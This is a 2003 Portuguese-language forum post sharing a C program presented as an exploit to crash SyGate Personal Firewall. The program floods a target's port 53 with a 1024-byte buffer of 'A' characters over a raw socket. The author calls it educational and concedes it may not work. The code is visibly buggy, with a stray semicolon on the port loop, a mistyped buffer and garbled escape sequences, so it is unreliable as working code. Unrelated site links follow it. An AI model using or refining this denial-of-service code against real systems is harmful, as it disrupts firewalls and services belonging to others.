Derrubando SyGate Profissional Firewall !
Publicado por Denis Zanin 02/07/2003
[ Hits: 11.284 ]
Esse exploit eu fiz há um bom tempo, nao lembro em que versao ele estava... !
E nem sei se está funcionando perfeitamente, hehe... !
Mas mais vale o propósito educacional, uma bela aula sobre sockets em C !
Falowsss !
[]s
/* Derrubando SyGate Personal Firewall by vir0se - virose@bol.com.br */ #include <stdio.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #define A 0x41 #define PORTA_INICIAL 1 #define PORTA_FINAL 7000 int main (int argc, char **argv) { int SockFD, addrlen, bsent, i, porta_inicial, porta_final, portas; struct sockaddr_in UDPSock; char *buf[1024]; printf("\n\n{FONTE}33[1;32m DERRUBANDO SYGATE PERSONAL FIREWALL \n"); printf("{FONTE}33[1;33m BY vir0se.....{FONTE}33[9;0m\n\n"); if(argc==1){ printf("{FONTE}33[1;34mUsando: %s [servidor] [porta inicial] [porta final]{FONTE}33[9;0m\n\n\n",argv[0]); exit(1); } if (argc > 1){ porta_inicial = PORTA_INICIAL; porta_final = PORTA_FINAL; } if (argc > 2) { porta_inicial = atoi (argv[2]); porta_final = atoi (argv[3]); } for (portas = porta_inicial; portas < porta_final; portas++); SockFD=socket(AF_INET, SOCK_RAW, 3); UDPSock.sin_family=AF_INET; UDPSock.sin_addr.s_addr=inet_addr(argv[1]); UDPSock.sin_port=htons(53); bzero(&(UDPSock.sin_zero), 8); if (connect(SockFD,(struct sockaddr *)&UDPSock, sizeof(UDPSock)) < 0){ fprintf(stderr,"Connect error\n"); exit(-1); } bzero(buf,sizeof(buf)); printf ("\n\n{FONTE}33[1;31m ENVIANDO BUFFER OVERFLOW... SEGURA ESSA %s ...{FONTE}33[9;0m\n\n\n", argv[1]); for(i=0; i < 1024; i++) buf[i] = (char *) A; buf[1024 -1] = '{FONTE}'; if(bsent=sendto(SockFD,buf,strlen(buf),0,(struct sockaddr *)&UDPSock, sizeof(struct sockaddr_in)) < 0){ printf("erro write()\n"); close(SockFD); exit(-1); } printf("DADOS ENVIADOS COM SUUUUUUUUUUU... CESSOOO... .\nDados Enviados: %i\n\n\n",bsent); close(SockFD); return 0; }
Programa recursivo para obter raiz quadrada
Jogo Windows Invaders (com gráficos)
Exemplo de sistema especialista usando Inteligência Artificial
Enviar mensagem ao usuário trabalhando com as opções do php.ini
Meu Fork do Plugin de Integração do CVS para o KDevelop
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Compartilhamento de Rede com samba em modo Público/Anônimo de forma simples, rápido e fácil
Cups: Mapear/listar todas as impressoras de outro Servidor CUPS de forma rápida e fácil
Criando uma VPC na AWS via CLI
Impressora Bematech MP4200TH rorando com a distribuição Zorin OS (3)
PC congelando em momentos aleatórios (em várias distros) (1)